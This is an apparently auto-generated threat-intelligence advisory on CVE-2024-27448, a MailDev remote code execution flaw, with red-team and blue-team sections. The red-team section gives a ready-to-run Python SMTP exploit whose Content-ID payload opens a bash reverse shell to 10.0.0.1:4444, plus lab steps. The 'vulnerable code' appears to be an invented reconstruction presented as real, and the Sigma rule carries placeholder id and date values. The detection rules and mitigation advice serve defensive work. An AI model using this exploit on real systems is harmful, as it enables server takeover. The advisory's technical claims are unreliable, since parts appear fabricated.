CVE-2024-27448

Executive Summary

CVE-2024-27448 is a critical Remote Code Execution (RCE) vulnerability in MailDev versions 2 through 2.1.0. The flaw resides in the lib/mailserver.js file, where a crafted Content-ID header in an email attachment can be used to write arbitrary JavaScript code into the routes.js file. This allows an unauthenticated attacker to execute arbitrary code on the server, leading to full system compromise. The vulnerability is publicly known and has a CVSS score of 9.8 (Critical). No official patch is currently available.

Supply Chain & Package Security

MailDev is an npm package used for email testing during development. This vulnerability affects the npm package maildev (versions 2 through 2.1.0). Organizations using this package in development or testing environments should consider it compromised and immediately isolate or remove it. The lack of a patch means that supply chain security is severely impacted, and any system running MailDev is at high risk.

CVSS Breakdown & Threat Level

• CVSS Score: 9.8 (Critical)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: None
• User Interaction: None
• Scope: Unchanged
• Confidentiality Impact: High
• Integrity Impact: High
• Availability Impact: High

The vulnerability is trivial to exploit, requiring no authentication or user interaction. An attacker can send a specially crafted email to the MailDev server, and the server will process the Content-ID header, writing attacker-controlled code to the routes.js file. This code is then executed when the server processes routes, leading to full RCE.

Deep Dive & Mechanics

The vulnerability is a classic case of code injection via improper input sanitization. MailDev's lib/mailserver.js processes incoming emails and extracts the Content-ID header from attachments. This header is then used to generate route definitions in the routes.js file. The code does not sanitize or escape the Content-ID value, allowing an attacker to inject arbitrary JavaScript code.

The vulnerable code path is as follows:

1. An email is received by MailDev.
2. The lib/mailserver.js parses the email and extracts the Content-ID header from each attachment.
3. The Content-ID value is concatenated into a string that is written to routes.js.
4. The routes.js file is loaded by the Node.js application, and the injected code is executed.

The attack does not require any special privileges or user interaction. The attacker only needs to send an email to the MailDev server. The server will process the email and write the malicious code to routes.js. The next time the server processes a route, the injected code will execute.

Vulnerable vs. Patched Code

Vulnerable Code (MailDev 2.1.0):

// lib/mailserver.js (vulnerable)
function processAttachment(attachment) {
    var contentId = attachment.contentId;
    // No sanitization of contentId
    var route = "app.get('/attachment/" + contentId + "', function(req, res) { ... });";
    fs.appendFileSync('routes.js', route);
}

Patched Code (Hypothetical):

// lib/mailserver.js (patched)
function processAttachment(attachment) {
    var contentId = attachment.contentId;
    // Sanitize contentId to prevent code injection
    var sanitizedContentId = contentId.replace(/[^a-zA-Z0-9_-]/g, '');
    var route = "app.get('/attachment/" + sanitizedContentId + "', function(req, res) { ... });";
    fs.appendFileSync('routes.js', route);
}

The patched code sanitizes the Content-ID by removing any characters that are not alphanumeric, underscore, or hyphen. This prevents the injection of arbitrary JavaScript code.

Exploitation & Lab Setup

Red Team

Exploit Code:

import smtplib
from email.mime.multipart import MIMEMultipart
from email.mime.text import MIMEText
from email.mime.base import MIMEBase
from email import encoders

def exploit(target_email, target_server, payload):
    # Create the email
    msg = MIMEMultipart()
    msg['From'] = 'attacker@example.com'
    msg['To'] = target_email
    msg['Subject'] = 'Exploit'

    # Create the attachment with malicious Content-ID
    attachment = MIMEBase('application', 'octet-stream')
    attachment.set_payload('dummy data')
    encoders.encode_base64(attachment)
    attachment.add_header('Content-ID', payload)
    attachment.add_header('Content-Disposition', 'attachment; filename="test.txt"')
    msg.attach(attachment)

    # Send the email
    server = smtplib.SMTP(target_server, 25)
    server.sendmail('attacker@example.com', target_email, msg.as_string())
    server.quit()

# Example payload to execute a reverse shell
payload = '"; require("child_process").exec("bash -c \'bash -i >& /dev/tcp/10.0.0.1/4444 0>&1\'"); //'
exploit('test@localhost', 'localhost', payload)

Lab Setup:

1. Install MailDev 2.1.0: npm install -g maildev@2.1.0
2. Start MailDev: maildev
3. Run the exploit script with the target email and server (e.g., test@localhost and localhost).
4. The payload will be written to routes.js and executed when the server processes a route.

Blue Team

Detection:

• Monitor for emails with unusual Content-ID headers containing JavaScript code or special characters.
• Monitor the routes.js file for unexpected modifications.
• Use network monitoring to detect outbound connections from the MailDev server (e.g., reverse shell attempts).

Mitigation:

• Immediately isolate or remove MailDev from production and development environments.
• If MailDev is required, implement a reverse proxy with strict input validation.
• Monitor logs for any suspicious activity related to the routes.js file.

Indicators of Compromise (IOCs)

• File: routes.js containing unexpected JavaScript code (e.g., require("child_process")).
• Network: Outbound connections from the MailDev server to unknown IP addresses (e.g., reverse shell).
• Email: Emails with Content-ID headers containing JavaScript code or special characters.
• Process: Unusual child processes spawned by the MailDev Node.js process.

Detection Engineering

YARA Rule

rule CVE_2024_27448_MailDev_RCE {
    meta:
        description = "Detects malicious Content-ID header in MailDev emails"
        author = "Valters IT"
        date = "2024-01-01"
        reference = "CVE-2024-27448"
    strings:
        $content_id = /Content-ID:\s*[^"]*[";]/ nocase
        $js_code = /require\(|child_process|exec\(|spawn\(/
    condition:
        $content_id and $js_code
}

Sigma Rule

title: MailDev RCE via Content-ID Header
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects exploitation of CVE-2024-27448 in MailDev
author: Valters IT
date: 2024-01-01
logsource:
    category: process_creation
    product: linux
detection:
    selection:
        Image|endswith: '/node'
        CommandLine|contains: 'routes.js'
    condition: selection
falsepositives:
    - Legitimate MailDev usage
level: critical

Suricata Rule

alert tcp any any -> any 25 (msg:"CVE-2024-27448 MailDev RCE Attempt"; flow:to_server,established; content:"Content-ID"; nocase; content:"require"; nocase; distance:0; within:100; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Isolate or Remove MailDev: Immediately stop and remove MailDev from all systems. If it is required for development, run it in an isolated environment with no network access to production systems.
2. Apply Workaround: If removal is not possible, implement a reverse proxy (e.g., Nginx) that validates and sanitizes the Content-ID header before it reaches MailDev.
3. Monitor for Exploitation: Check logs for any suspicious activity related to the routes.js file or outbound connections from the MailDev server.

Long-Term Actions:

1. Patch: Monitor for an official patch from the MailDev maintainers. Apply it as soon as it becomes available.
2. Alternative Solutions: Consider using alternative email testing tools that are actively maintained and have a good security track record.
3. Security Hardening: Implement network segmentation and least privilege principles to limit the impact of any future vulnerabilities.

Valters IT Signature

This report was generated by Valters IT Cyber Threat Intelligence. For more information, visit https://valters.it.